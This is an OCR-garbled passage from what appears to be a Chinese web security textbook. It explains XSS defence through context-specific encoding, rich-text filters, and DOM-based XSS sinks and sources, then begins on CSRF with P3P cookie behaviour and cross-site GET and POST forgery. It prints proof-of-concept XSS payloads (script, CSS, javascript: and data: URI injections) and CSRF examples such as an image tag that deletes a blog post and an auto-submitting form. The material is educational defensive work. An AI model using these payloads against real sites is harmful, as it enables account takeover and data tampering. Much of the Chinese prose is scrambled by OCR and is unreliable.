var x = "";alert(/xss/);//";
</script>

5 fEl i} A FH JavascriptEncode

EEAPHEH
E A b i H I AE <script>Fn 25 i Hi AL -
<a href=# onclick="funcA('Svar')" >test</a>
A] BE B B 77

<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>

TE 5 A 75 2244 A JavascriptEncode.
£ CSS
7t CSS M style. style attribute HJE% XSS 177 AR 2646, Z7% N LA XSS 1#11.

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

<STYLE>BODY {-moz-binding:url ("http://ha.ckers.org/xssmoz.xml#xss") }</STYLE>

<XSS STYLE="behavior: url (xss.htc);">

<STYLE>1i {list-style-image: url("javascript:alert ('XSS"')");}</STYLE><UL><LI>XSS
<DIV STYLE="background-image: url (javascript:alert ('XSsS'))">

<DIV STYLE="width: expression(alert('XSS'));">

JTCL, — Mk, JSATReAE I P el I AR R A “<style>br%E 7. “HTML FR%511 style
JEYE” AL “CSS SCfE” it e Wik —E A RXFERIT R, WIHESZ A OWASP ESAPIL 1)
encodeForCSS() B4 %
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String safe = ESAPI.encoder () .encodeForCSS( request.getParameter ( "input" ) );

FLSHL R BT ESAPLencoder().encodeForJavaScript() PAEL, B T F 8k 24N AT
PRI N BEFE R “\uHH .

FE Sk 4 H

ek b R A R 2. KR, £E URL f path (B%4%) 83 search (S50 !,
{f F§ URLEncode HIT]. URLEncode 23 F45 56400 “%HH” JEIX, HLansmsmlt “%20”7, “<”
FEIE %3,
<a href="http://www.evil.com/?test=$var" >test</a>

A] HE B B 77k
<a href="http://www.evil.com/?test=" onclick=alert(l)"" >test</a>

%3 URLEncode J&, Z2/% 7T :

<a href="http://www.evil.com/?test=%22%20onclick%3balert%281%29%22" >test</a>

EORIEA —FPE DL, w284 URL REWs4 Fm%hﬂﬂ XM URL ] Protocal #! Host
oy & AGeRS T H] URLEncode 1), 17454 URL ¥

URL R4L840 T

[Protocal] [Host] [Path] [Search] [Hash]

%t

https://www.evil.com/a/b/c/test?abc=123#ssss
Protocal] = "https://"
= "www.evil.com"
= "/a/b/c/test"
Search] = "?abc=123"
= "f#ssss"

1F Protocal 5 Host "7, WIS ™4 ) URLEncode B, WISHE “://7, “.” SEER gt
X rga o K

<a href="S$var" >test</a>

Il fig 2 3 O PSS i e

<a href="javascript:alert(l);" >test</a>

Br T “javascript” 1E A IRBRT AHATAASSL, 184 “vbscript”. “dataURL” 2504 il ]
e FHEUHAIAT .

“dataURI” XA HMUE Mozilla JrSCFF,  REMS K —BUUS S4E URL HL. i H 4l

<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">test</a>

XEARE R E B, PAtext/html A% U N 41D 4 base64 HIEHE, N5 HE Lk L&
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<script>alert (1) ;</script>

ridi<a>bRZE IR, K FEHATIIA.

l |_| data text/html; bazefd, PHNj emlw ADShBGYydC zeET =3L3H ) emlw dll4=

PAT A

AR OL, SR AT RENS S 442 i) URL, W] DARATBIAS (05 AATIR 2 o ol fi g3 o 15
WilWe ?

—ROR UG, WRASR RS URL, WIMNZSER AR 2Ll “http” TFk (WERAEN A
I, BURIEA S B HSR ) XSS Bidio

<a href="$var" >test</a>
L2 5, FEXHAR AT URLEncode, Bl ffiE AN AT 2RI XSS KAET .

OWASP ESAPI H 45—~ URLEncode [JSZE (I APT A fif e Ok sl i) i) 750 )«

String safe = ESAPI.encoder () .encodeForURL( request.getParameter ( "input" ) );

3.3.5 ABEIA

eI i, WG T AV P RAS 2 E U HTML ACE, Rz “& SeAR”. thn—
AN ERIE R M, BTN AT . A, SRR, IR R AR [ R T
JHE HTML QRS RS2 8.

WA X A 22 A1 @ SO FIA B ) XSS e ?

FERCP R SOARIY, b 2 m 2] “HAhd” MR EoR. “MARE” WEZEE, 1E
K B I I AN RE AR R RS (BRI P40« SO B, FE SOE 5841 HTML AR
4, FER I WA PHE IR R E o DI AT UK IR DU R AL P o

fE L7, FIH T I HTML R a] Re AT AR I Ry o i —/MEF5 11 “ XSS Filter”,
NV 1ZAENS $6 H HTML A0S A Br o] GEPRAT BEIAS ) 3 7

HTML PRI 25, LOARIF AR 0T 03 hemiparser 7T BLARAT t HTML FG B4
B A1

FEREIEE SO, “HE” Nz k481, By 830K R TSR AN Z A “H
7 XS LB IFREE, thin<iframe>. <script>. <base>. <form>%%, i)W
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SR EE I .

AEPREIILAE L R I, B RA R, i, LRV <a>, <img>, <div>
U 5 R,

CEAREN” AU TARZERILESE,  FIRERZ A TR P S ik

P& SCASEYES, ALBE CSS g RRTTR SEs . Wii vFH - A e L CSS. style, I
AR T XSS Hitio BRI AT BEMbAE 11 B e L CSS 5 style.

R E ARV FE PR, WA REAR I DE “ W30 —FERLYE “CSS”. KH#E A
CSS Parser X FEXBEAT R T, WA RS OEERAE.

A7 LL LB TR H , SEBL T X & SOAR [ XSS

Anti-Samy'* /it OWASP L[ — TP H , /2 H T I 47 (F) XSS Filter. Jx W8T Java
(¥, BU/E QLY RS NET %1575 .

import org.owasp.validator.html.*;

Policy policy = Policy.getInstance (POLICY FILE LOCATION) ;

AntiSamy as = new AntiSamy();

CleanResults cr = as.scan(dirtyInput, policy);
MyUserDAO.storeUserProfile (cr.getCleanHTML()); // some custom function

£ PHP W, AT UME R 554 —AN 2 U4 VI PRI : HTMLPurify'.

3.3.6 PBAfEHl DOM Based XSS

DOM Based XSS & —Ff LLELF 1K) XSS il I SCH B LA BT A KIEH], 7

EF IR A o

DOM Based XSS & W] JE R IHHE 2 (AL B FH XA 1

<script>
function test () {
var str = document.getElementById ("text") .value;
document.getElementById ("t") .innerHTML = "<a href=""+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>

<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test ()" />

7E button [¥) onclick ZFEH, $UAT T test() BREL, 1% bR b F QB —f) /2«
document.getElementById ("t") .innerHTML = "<a href='""+str+"' >testLink</a>";

13 https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project
14 http://htmlpurifier.org/
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¥ HTML U5 XN T DOM 5 4, oS8T XSS WAk 4.

5 F, DOM Based XSS J& M JavaScript H4i H £ 2 HTML DU . a7 SCEe 271
HRAZE T MR S5 2% N L #2256 H 2 HTML D1 i) XSS i, BRItk 34N 1E AT DOM Based XSS

EF NI T

<script>

var x="S$var";

document .write ("<a href=""+x+"' >test</a>");
</script>

At “Svar” i E<script>FRZEHN, WUE R XA document.write % Hi £ HTML GLfit .

B TR Y “ Svar 7 4% 7E <script> b1 % 1 77 A2 XSS, Mk 45 A% o o AT T
javascriptEscape. HJ 4%, S$var {F document.write I, {/33RAEMS =/ XSS, W FT/R:

<script>

var x="\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
document.write ("<a href='"+x+""' >test</a>");

</script>

DU G 2 (R SE B G R0 T

* — - E
if L_l-ij ¥#Hs HTML~ | CS5 WM& Do M3  Ewents Cookies

B | R4 |2 body html

= <html>
<head> ¢/head>

= {seriptl

1
2 war z="'z20hzzTonclickz3dalertiz28lhzzd\zibizafizafhzzr”;
3 document, write("<a href=’ "+z+™ rtest{far");
<fmseripts
<a onelick="alert(1);//""" href=" ">test {fad
</bodr>
</html>

T VE 42 5 1K) HTML GRS %6
XSS Wikl :

® FEE HEE HEW HLRE  HEE) TR REE

. Bo00Be v T
a- E?Qg]‘-e' E TH¥E http:ffwwr. a com BN D :

test \,i\' L
e
PATEEARD

HJFHAET, 55— IKIAT javascriptEscape i, IR T :

var x = "$var";
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{H2& document.write i H 24 2] HTML DU, %248 RE S T 0. fE<script>Fx
EPATI, BN AR E x 3T T, )5 document.write THE4TIN, HSEGLA KT !

<a href=' 'onclick=alert(1l);//'' >test</a>

XSS F =4,

TR AR “Svar” FHEE T 9wt Zile 2 n R HtmlEncode 2/EARE? QR4EE T
THX AN 1

<script>

var x="1&#x22; &#x29; &#x3b;alert&#x28;2&#x29; &#x3b; &#x2f; &#x2f; &#x22;";
document.write ("<a href=# onclick='alert (\""+x+"\")' >test</a>");
</script>

J} 4% 484245 & HtmlEncode J& Fif H Fll<script>1, K575 x YE4 onclick FHFHI—A i
¥ HH% document.write | T HTML T H..

] | — =
# "kl B®& [ETML~ | ©55 W& DOM  M%  Events Cookies

B | 458 1body htnl
= <htmlz
<head> </head:

= {scriptr

1
2 var z="1b#z22 B#z29 bézibialertb#z2s; 2bHa 29 bhnih, bz 2f b¥n2f bz22; ")
2 document.write("<a href=# onclick="alart(4™ +z+"\"1" Stest{fad™);
<fzeripts
<a omelick="alert("1");alert (2];//" )" href="#"> test <fa>
<fbodrs
<html

TS 4% 5 1K) HTML GRS %6
onclick FAEHAT TR “alert”, &5 VL HE XSS WAL

Q mu WRIE ZEW %S PEE  TAD AHE

|"H @ @() DU [;]{. 3 iD _httpi;‘r.fwww. a..comj"te.st.htm;l.i

ISl H http:/feww. 2. con FIHHR: X|E= b
test (N 2
R
PAT TR AR

AR RIB AR T A Al ?

B4, 1E“Svar” i H Bll<script>if, NAZHHAT—IR javascriptEncode; iR, 7E document.write
frh ®) HTML DU, 20 BAAEOE e a0 2 4 o 2 SR s A, )2 P f—
javascriptEncode; 1ALE i 2 HTML M A B B IE,  WIEAL—X HtmlEncode.

Wt &6, M JavaScript it £ HTML Uil WAH2T—K XSS il fe, FHEE
S5 ASE AN 7] 10 G L) R 25
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Html Content/Html Attribute Html Event/Script Tag

encodeHtl

document.write();
innnerHTML

JavaScript

DOM based XSS 1] [55 1

2>’k DOM Based XSS W7 A1 %, LA JLANHETT /& JavaScript 4 H ] HTML 5 [fi i)
DS Zpa

O document.write()
document.writeln()
xxx.innerHTML =
xxx.outerHTML =
innerHTML.replace
document.attachEvent()
window.attachEvent()

document.location.replace()

©c 0 0 0o 0o 0o 0 ©

document.location.assign()

it S H R ORI LA BT T2 B A5 T LT P 42l

B T MR 552 m H B AR 3 JavaSeript 4b, A LU R LA T RES ) DOM Based
XSS HIA AT, T B O .

O G FrA 1) inputs HE

O window.location(href. hash %)
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window.name
document.referrer

O

O

O document.cookie
O localstorage

O

XMLHttpRequest &[] () 54

AWIFLH Stefano Di Paola %37 7 — DOM Based XSS [1] cheatsheet'®, 47 2R AW 5T
FIEE v LS5,

3.3.7 Wm1fAEF XSS BB

R SCRBIIIITAT XSS ik, #B R IR A I BE A 1Ko 0 SR 55 U 0 3 KA
W SAT AR R R

—HR UL, AEAEL XSS K 2 TR AT XSS BRI AE Y XSS SR s as L
A AT BE S5 TR AL o e AN DU URL IR BR AT 2540, DR AT IS8 gk i — 4% IDS (Rl o
Eb 4 1E 8 1Y) XSS Filter A1 Firefox 1Y) Noscript Extension, #5216 7 ik A% o (1 kit J2 75 095 XSS
JEIAS o 1 5 DT PRI A7 2 XSS W] fE S Ll i ek T AL

MBI R, SR XSS, A sRIGh A AL e XSS AU ) URL
B MAERERY XSS, MIRFEEALM &S/ MEWK URL #E 8. B Web WA 1 1B1F
IESCOUIAFAE N IL ) XSS Jsilidl, T IF— BBl , XSS Payload S #ifiAT. X
FEMIRTA IR, AERARAE A RIE R LS5, XU T -

MRS (K 3 B2 A I 2 IR HLEh (0T, 2 ] BEAGES XSS Worm ZUai iy o 1 fi-AfE AN
[ BUIHI (1) PageView ik, AT LLIMHT HBIRLE BT 52 XSS Bkt Ja (K o oK. LU fe P i 7
BURER) XSS Bali, HE LE sl A AE TUIRTY) XSS Bl 277 HAT 2

FEREAN XSS iy 18 21 (1 fpe K Pkl — TR B K 2, I A rTRERAN L2, A
JEEABANZ LRI o IS5 DU 0 A1 BEOR TR e A2 AR XSS i, wb BAT T M .

3.4 ING

AFPHA T XSS KRB, I MTF A 1A JE IR T anel B4 XSS,

15 http://code.google.com/p/domxsswiki/
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Hig b, XSS i BARE %, HAE A MM R . fEiTl XSS s i, WizE
NERF XSS Bl BEr, #A R R ST AR 57k [RINATAR 2 TR0 H O BeAl 13
3%,



s 4 =
B sRia K& (CSRF)

CSRF [#)4=44 /& Cross Site Request Forgery, #H12 aliHH SCult J2 5 vk i SR O it

B M L Web By, (EARZ IFAE X EARMAE . CSRF 2 Web 2 4 5 5 5 8
W — Ry 3, RN e TRIMEAKB M E A &S e, DIk AFER. H
CSRF {ERLEIN i 2 HE W ™ A2 5 K AR o

41 CSRF &7

ft 4 /& CSRF We? TAILE Ml 1.
ACAE “EBUE AT =y, A4 XSS Payload I (KRS “ BRI 2" (11451 1
W2 %5k Sohu % ), HFZEKIXA URL, MiAeWAgm 50 “156713012” % SCR Mk .
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
XAN URL [AJIIEA7AE CSRF il o FA K4 F A CSRF Ui, BBRGw 54 “156714243”
T2 S8 I SCEE bR “testl”s
R Eey 728 | testite. REOTE  RMAE SHE- FR B

testltestl =7 B i @ 05 Bz HewE

testltestl

o~ RmEE @ A BEHEE
= B SR i e s BE
el wEs%: 285
B na

=] ] poac-z 5 s
& B 2010-07-19 test e x
M 5E 2010-07-19 a333aaazas E5 x
i s 2010-07-15 test1 E x
[ sz 7 1

N 2 A N BLFIH
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Bl B 564 A sk A

http://www.a.com/csrf.html

HWAEA:

<img src="http://blog.sohu.com/manage/entry.do?m=delete&id=156714243" />
T —AS<img>bra, JLHLHESR ) 7SR 15 SR R R
BB S EbR P, Wt 2 % 3 “testltest” U [a]3X > U1 :

a 11la Firefox

() WE(El HEW  HR(

Veolo@e =

T

4T CSRF Bl

B PER T KRR R R, R LA

gﬁmﬁg‘ S~ | | testite.. EHER HHEE SHE HE i

testltestl &7 A ¥ A WA &% ZpesE

testitestl

S ROTR 0 B BEHEE
= 8= B i =% PEe g
bl e O zEsTHE
AR
B wES: 255
8 BT
! e 52 TERR (34 HE:
=
2010-07-19 test [E x
i ==
2010-07-19 333aadaaa 4 x
[ s I
NSNS
SCEAMER

RILGRAFAE AR “testl” MR CE, CEBMBRT!
KNI 5 ) hitp://www.a.com/csrf.html B, B AR25 AR AR 554 Acik T — IR GET 15K :

+ — e
% "R f#H& wom css M DoM | A% v | Events Cookies

M | &R iR | FRE mOmL IE ER Flash
URL RE o X H IR
+ GET csrf.html 200 Ok a.com 2B |
+ GET entry.do?m=delete&id=15 302 Moved Temporarily blog.sohu.com 846
2 Ak 156 B

CSRF ik
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XTSRS 2T RPN 10— R SCE e -

[E1 )7 G ep N i P s T < R AL A E 7 I R A INTTP: WS E 325 D= R B SR
BPAT T AR WA WRSK IR R R s AR N R A IR, LRI e
R, S AT AR AT BRSO BT, BRI SIS KB .

AR A SCE IR, B E PO, B UK sl fil « 5 3l miig sk Oh k7

4.2 CSRF 3

421 N PEEFHY Cookie TRHEZ

7E_ PRI 1 B, B Ot 1E K 2 BT CARERE B PR TR 45 s SR ok, PR
HIP 2 TN K% T Cookie B2

NS0 & T HEAT Y Cookie 73 A MiFl: —Fijd “Session Cookie”, MFK “Ifiifif Cookie”s 7~
Pt “Third-party Cookie”, tHFKA “Ah Cookie”.

PAE X AIAE T, Third-party Cookie 7 Ik 55 25 7F Set-Cookie I 455 T Expire I [a], A H|
T Expire I [7]J5 Cookie A 23 K%%, FrLAIXFh Cookie 2 PRAFAEAML; 1M Session Cookie NI A
5 3€ Expire B[], BT DA B4R XM J5, Session Cookie HL2L T -

ED Bt et R, 25— AN EE T Session Cookie, A ZE Ui 2% 31 RE 1) A= iy 4]
HA, BRAE BE 28 84T T Tab U1, Session Cookie tH#BIE 241, Session Cookie frA77EN Y
FRHEFER N AEZS 8] 7 1) Third-party Cookie WIARAEAEA M .

T SR A AN D, ENEC AN R, T e, B s o FE
1l Third-party Cookie )4 1% .

XA, R TR R
1E http://www.a.com/cookie.php ', 253 W # 5 AW~ Cookie: —~ 4 Session Cookie,
3 — 4 Third-party Cookie.

<?php

header ("Set-Cookie: cookiel=123;");

header ("Set-Cookie: cookie2=456;expires=Thu, 01-Jan-2030 00:00:01 GMT;", false);
2>

Vi AXAN DU, & TN W % R I 22080 T X A Cookie o
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s

Dverviewl Time Chartl Headers Cookies | Cache I Huery Stringl FOST Datal Contentl Stream I

Cookie,., = | Direction | Yalue | Path | Dormain | Expires
cookiel Received 123 !
cookiez Received 456 !

Wi a,com  (Session)
v, a,com  Thu, 01-Jan-2030 00:00:01 GMT

W UE 2SR Cookie

X FFFT I AN 0 Y gs Tab 01, U5 a) [/ — /Mg AR DT H . 48T Tab DU4E [R]—AS
WSS HERE R, At Session Cookie B4 &3 o

— 403 Forbidden - Tindows Internet Explorer

I@‘ hitp:/Seww. 2 com!

el

| xtE RmEE EFEFW WEER IE@ Fhhaw
i:f i 2 @http:fﬁ'www. a. comfcook. . . | @ 403 Forbidden b 4 | |

Forbidden

You don't have permission to access / on this server.

Apache’2.0.03 (Win3l) PHP/3.2.6 Server at www.a.com Porr 80

x ORecord Dstop Eclear E View =

Starbed ~ Time Chart

umm ATy Q Find - '?*Filter - ESave * i) Hel

Received | Method

1

It}

E Dverviewl Time Chart I Header= Cookies | Cache I Euery Stringl FOST Datal Content I Streaml
g

E Cookie... = | Direckion | Value | Path | Darnain | Expires

3| | cookiel Sent 123 ! v, a,com {Session)

E cookieZ Sent 456 ! vy, a,com Tue, 01-Jan-2030 00:00:01 GMT
o

G

Session Cookie % A& 1%

BEIFAE S Ah—ANdh, A5 —/N U http://www.b.com/csrf-test.html, I TUHIA4iE T CSRF
PLUT I www.a.coms

<iframe src="http://www.a.com" ></iframe>

XIS KRB, WL AERIEH Session Cookie, 1M Third-party Cookie #5251 7 «
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1

Dverviewl Time Chartl Headerz Cookies I Cache I Huery Stringl FOST Datal Content I Streaml

Cookig,., = | Direction | Walue | Path | Domain | Expires |
cookiel Sent 123 ! Wi, a,corm  (Session)

HRI%T Session Cookie

XKIER A IE T 2% 8, BRI T s fE<img>. <iframe>. <script>. <link>%54f5
S 3% 5 =7 Cookie.

PRI 3k kA Firefox 4T M. 7E Firefox H, BRIASEMS & AL 1F KL SR =5 Cookie 1.

i ————
% R f#®& HEIML css ME DON | A% v | Events Cookies

ke BF | A HIML c=5 J5 xR EE Flasho
URL RE - X HEl
+ GET csrf-test.html 304 Mok Modified b.com 4B |
= GET www.a.com 403 Forbidden a,00m 2866
Headers WFE M4 Cookies
W f A58

Date Tue, 24 Aug 2010 08:53:43 GMT
Seryer Apache/2.0.63 (Rin32) PHP/S. 2.6
Content-Length 226
Keep-Alive timeocut=15, maz=99
Connection Xeep-ilive
Content-Type tezt/himl; charset=iso-885%-1

HELEE

Host wwmw. a. com
User-Agent MozillafS. 0 (Rindows; U; Windows NT 5.1; zh-CH; rv:1. 9.2 8) Gecko/20100722 Firefoz/3.6.%
Accept tezt/html, application/zhtml+zml, application/zml;q=0. 9, %/%;q=0. 5
Accept-Language zh-cn
Accept-Encoding ezip, deflate
Accept-Charset GE2312, utf-8;q=0.7,%;q=0. 7
Keep-Alive 115
Connection keep-alive
Referer htto:/fwmr b ~test. himl

pokie cockiel=123; cookie2=456

Cache-Control naz-age=

{E Firefox 1 A1 K 1% 5 = J7 Cookie

AR WL, ZEARTE—FFURT 251 CSRF B 6, K FH - (R Ya 4% A& Firefox, FITLLfig
% B Th A% T AIE R Third-party Cookie, #2530 CSRF B i %I .

M+ 1B JUEas, B & W55 2R O i B a8, L anids 4 7 8 2 muon ba 2 Hh o v
i) H ARk 2, ffi15 Session Cookie %%, FF5Zjfi CSRF Hili.

FE YR N s rh, BRIA S5 P24% Third-party Cookie I : IE 6. IE 7. IE 8. Safari;
ANEEEMA: Firefox 2. Firefox 3. Opera. Google Chrome. Android %% .

{H# CSRF Buili 1) H AR AT AT Cookie, TUJAHAS LA EE 3 Y 453 1) Cookie Sl T .

4.2.2 P3P 3HEIMEH

L CSRF Bl SEREAL R A TR BAE, AFREKI%E Cookie, (HAMNITHIANIIE, K
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O3 SRR B T () A A DAIE 2 S (K)o PRGN S0 B8 48R 5 =7 Cookie MRI%, A MR
B PR UL T CSRFE Biliff g ). X150 AE “P3P k7 AN Jyuid K.

P3P Header s& W3C & )Wk TR KIAR#E, 4FFZ The Platform for Privacy

Preferences.

T SR IR (B 25 50 B % ) HTTP Sk 545 P3P Sk, MIZERERRERE Fokist, Bf o vrm b o
KL =5 Cookie. fF IE NIl fE<iframe>. <script>25FrZE I AR S — 7 Cookie 11K

TEM b DI 25T, P3P Sk B TS0l 5 S5 75 EEFS 3luy il (1) i o (R R BRI A, P3P
SkiR'E 5, AT Cookie IS MRRES K I I T3 DT, K4 Cookie #& LA path 2
Rrf), EXFFAREG /MR JR ).

BRi%&f www.a.com 5 www.b.com BN, 7F www.b.com A5 —ADU, HPa& A8

M www.a.com [f] iframe.

http://www.b.com/test.html 1] P 254 «

<iframe width=300 height=300 src="http://www.a.com/test.php" ></iframe>

http://www.a.com/test.php &%} a.com IHX'E Cookie [T, FLHNZN:

<?php
header ("Set-Cookie: test=axis; domain=.a.com; path=/");
?>

3 3K http:/www.b.com/testhtml I , ‘& [ iframe 2% Uk W B 28 25 B WIE oK
www.a.com/test.php. test.php 251 Set-Cookie, FT LA %252 F]— Cookie.

R Set-Cookie J&Ih, FFUIERIZTIUIM, W AN Z4a RKIZRIAWEIF Cookie. FJ 2 M
T REI, 7F a.com [ Set-Cookie J& AN LAY, WH%YZEﬁJiWJj‘LI&?UE‘J Cookie. IXH
Toe &I Cookie ifs /&AM Cookie #E—#E o

Started ~ | Time Chark | Time Sent | Received | Method Result I Type | LURL

= 00:00:00,000  hetpi fewve.b, comtest html
+0.000 WM 0.004 32l 192 GET 304 kesbhtrnl hiktp: . b, comytest, bl
+0.029 Bl o 458 318 GET 200 tescthtrnl http: w4, comjtest, php

0,045 e 510 2 requests
= 0006:04.791  hktpi fevav.b, comytest bkl

+0.000 ] g 0010 321 192 GET 304 textihtml hltp ﬂfwww b.com,

tEsl htm\
tphp

Overview | Tine Chart | Headers Cookies | Cache | Guery String| FUST Data | Content | Strean |

Cookie... = | Direction | Yalue | Path | Dormain | Expires
st

Received  axis ! acom  {Session)
IUREEEND AT R SUR R

WAFER, ok, REFREWRT Cookie, Kk Set-Cookie I{EIFAE Kk, i
AHWEAT Set-Cookie ). (FZXPEAEIAN T P3P kG A ks, P3P Sk L i/Fis s vy [al
FAEHE, M e] LA 1, Set-Cookie il L) .
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B www.a.com/test.php 1

<?php

header ("P3P: CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI
DSP COR") ;

header ("Set-Cookie: test=axis; expires=Sun, 23-Dec-2018 08:13:02 GMT; domain=.a.com;
path=/");

?>

PR AL L1 (i fe

@ Record [Step ]Clear [F] View = 53 Suwmery (O Find - Y Filter - [JSave = .2) Help -
Started + [ Time Chart [ Time| sent| Recewed[Method [ Resul [ Type [ LRL
oo M 005 3 192 GET EX text/himl ttpfosw.b.comjest.heml
+0.025 ol oo s 6 GET 200 texthim httpfoww. a.comest. php
00 838 Zrequests

) 00i00:07.826  httpsfuwee.b.com/test bl
+0.000 B

321 191

636

795 Ztequests

Overviev | Tine Chart | Headers Cookies | Cache | Guery String| FOST Data | Content | Strean |

[ cookie... = [ Direction [ value [ Path | Domain | Expires
test Sent ads T acom  5un, 23-Dec-2018 08 13:02 GMT
test Received  ads ! acom  Sun, 23Dec-2018 081302 GHT

VBRI RS UR
ATLVE R, R AV AR Z BTN Cookies

P3P kA AL T a.com [FBEFATEMG, T i <iframe>. <script>5Fbr7E 1E HAN 42
B —T7 Cookie k%, P3P S K2 b i v B IR RIA], 2 5 B 0 SR AR 2 B0 1 SR
MATERERTRE.

P3P [ SRemE AR AT AR A, (H STV AAR AT B, e — XN ISC R, AT RL il W3C
FrifE. Bl

CP /& Compact Policy HJi#5; CURa #1 CUR J2& <current/> KA 5; a s& always M
LU

[57] compact-purpose = "CUR" | ; for <current/>

"ADM" [creq] | ; for <admin/>
"DEV" [creq] | ; for <develop/>
"TAI" [creq] | ; for <tailoring/>
"PSA" [creq] | ; for <pseudo-analysis/>
"PSD" [creq] | ; for <pseudo-decision/>
"IVA" [creq] | ; for <individual-analysis/>
"IVD" [creq] | ; for <individual-decision/>
"CON" [creq] | ; for <contact/>
"HIS" [creq] | ; for <historical/>
"TEL" [creq] | ; for <telemarketing/>
"OTP" [creq] ; for <other-purpose/>

[58] creq = "a"| ;"always"
"i" | ’."opt_in"

non ;"opt-out"

IEAh, P3P SkEATDLE S I —A XML ZR#E SO

HTTP/1.1 200 OK

P3P: policyref="http://catalog.example.com/P3P/PolicyReferences.xml"
Content-Type: text/html

Content-Length: 7413

Server: CC-Galaxy/1.3.18
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PR TIREZICT P3P SKIME R, WTLAZ% W3C sl

D P3P Sk HATAE Rt (ST ) 2 S RLAE CSRE PR 7 A AN BE AR T30 B 4
Xt e =5 Cookie MRS, AREOAFHEFES

IR Z i, R CSRF i & Bl <iframe>Z5 bRESAE IE 1 Jm 4R AE K 1% Cookie, M L ARANH
JRA, IS AR AT RERL &R A P3P SLAEAE R .

4.2.3 GET? POST?

£ CSRF MUiiiftdT 2 4], BAAT—FhE R IOW AL, A0 CSRF i i GET ik Kk«
PR 22 1 A #A B T S A B A E SO SEVF POST WK, LRERT 1 CSRF Kl

TXRRE I RO T BT B PR 2 2846 T, K24 CSRF Bl R iy, A 1) HTML A28 2
<img>. <iframe>. <script>%51y “src” JEIEMIARAE, KB HEEW Ak GET ik, 1M
AR POST V3K . XS TAR 2 Wl B FH KB, — LeF SR AR IR P X 4> GET 5
POST, Xuii#& ol LU GET SKif KRB G Mak . teinde PHP o, 4n 54 ) 2
$ REQUEST, Mgk $ POST sRkENARE:, WM& AFAEIXA ],

X ARG, R U GET AR S . bl F R

<form action="/register" id="register" method="post" >

<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>

P T AR 3 A GET 353K

http://host/register?username=test&password=passwd
KARAT, A G5 i i AR 5 SR TV AT BRI, I AN R 2l .

R RS A i 22X 73 T GET 45 POST, TBABGHHAAT AT7ENE? W T ot kid, £
A TR AT LU H A POST Hi§3K

IR T, RN T TP A U form R, AR5 JavaScript H 8)3HEACIX
ANEE, Bl B A fE www.b.com/test.html W96 5 W NSRS

<form action="http://www.a.com/register" id="register" method="post" >

<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>

<script>

var f = document.getElementById("register");

1 http://www.w3.org/TR/P3P/
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f.inputs[0]
f.inputs[1]
f.submit () ;
</script>

.value =
.value =

"test";
"passwd";

H B 2 T DGR BT BORRAE AT LY iframe B F1HH, B4R A SR ACR LY

XTI SR 2 AN T AL o

££ 2007 “E1¥) Gmail CSRF JwiH B il #erh, 2R #E pdp Eon TiX—+i 15,

HOG, MK Gmail K™, DUELEN 48345 Gmail 1

© Google M:

e Edt ew

> e

History

Google
Mail @
Compose Mail
Inbox (157)
Starred 77
Chats &

Sent Mail

Drafts

Al il

Spam (523)

Trash

Contacts

» @ John Dalsan
Search, add, or invile

» Labels

 Invite a fiiend
Give Google Mail to

preview invie

Inbox (157

fils Cookieo

refox X
Bookmarks  Tools  Help
3 M4 repsimatoor e s o aa[-[p] =3
WMail Calendar Documents Photos Groups Web more ¥ Settings | Help | Sign out |
i
More actions [v] Refresh 1-50 of 187 Older» Oldest s
Select: All, None, Read, Unread, Starred, Unstarred
a PHP Classes [PHP Classes] PHP Classes: Weekly newsletter of Sunday - 2007-09-23 - PHP Classes: YWeekly newsletter of Sunday - 200709 Sep 23 =
[0 Skype Skype - download successful. What next? - See this ermail as a webpage: hitp: /i skype.com/ernallidovnload_corfimatior  Sep 20
[ Digg.com g Profiles and Up dated Site Policies - Lots of new changes coming to Diggl We're excited to introduce you 1o the nev  Sep 20
O Jed Yazzie bezplatnos. >diathesis stasis octahe... - Fimi. | Rush Hour 3 (2007) 2. Transformer Sep 18
] PHP Classes esiWee i 22Kl newslelier of Sunday - 2007 Sep 16
[0 lrwin Mckinnor ... Exunir va BGTRACKER NET,  Sep 11
[ SPIDynamics QA New Webinar. HP Custorner | Sep 10
] PHP Classes book review: PHP Programmming v Sep 10
] SPIDynamics ebinar. HP Customer Perspectives  Sep §
[ Newsvine Adm u — ——— - " " L ine column. We Sep 5
[ StumbleUpon Your StumbleUpon Password - Here is your Stumblelpan password: Userid: 3578601 Nickname: passfiee Emall. passfiee@gma  Sep 2
1 PHP Classes [PHP Classes] Innovation Award results of August of 2007 - Innovation Award results of August of 2007 PHP Abstract: The po Sep 2
[ PHP Classes [PHP Classes] 13 rules to optimize your Web site performance - 13 rules to optimize your Web site performance PHP Abstrs Aug 31
[m] Team Edwin Seaver would like to be added as your friend - Ecwin Seaver (jryyuie) would like 1o be added as one of your friends or  Aug 26
] PHP Classes [PHP Classes] PHP Classes: Weekly newsletter of Sunday - 2007-08.26 - PHP Clazses: Weekly newsletter of Sunday 2007 Aug 26
[ Wink Team Password recovery complete - Hello, Pass Freel Someone from 217 44.138 91 (probably you) requested a passward reset and  Aug 23
O Wink Team Wink Password Recovery - Follow this link to reset your password: http:#wink. com/account/recover/ ?ticket=306c9fdeat 11d5 Aug 23
] blinklistactive-members Please Help to Make BlinkList Incredible - Tip 5 - Hey passire, Do you want 1o know what makes BlinkList incredible? It iz = Aug 23
] StumbleUpon Make the most out of StumbleUpon - SturmbleUpon Discover new web sites Hi passfiee, Want to get the most out of StumbleU Aug 22
[] PHP Classes [PHP Classes] PHP Classes: Weekly newsletter of Sunday - 2007-08-19 - PHP Classes: Weekly newsletter of Sunday - 2007-  Aug 19
[ blinklistactive-members Tum BlinkList Into Your Onramp to the Net - Tip 4 - Hey passfiee, Todey | am going to share my zbsolute favorite tip on Blinkl Aug 18
[0 news2007-august Altova Developer Connection Newsletter August 2007 - I this month's issue: > Case Study - Altova Authentic RSS Ediing ¢ Aug 17
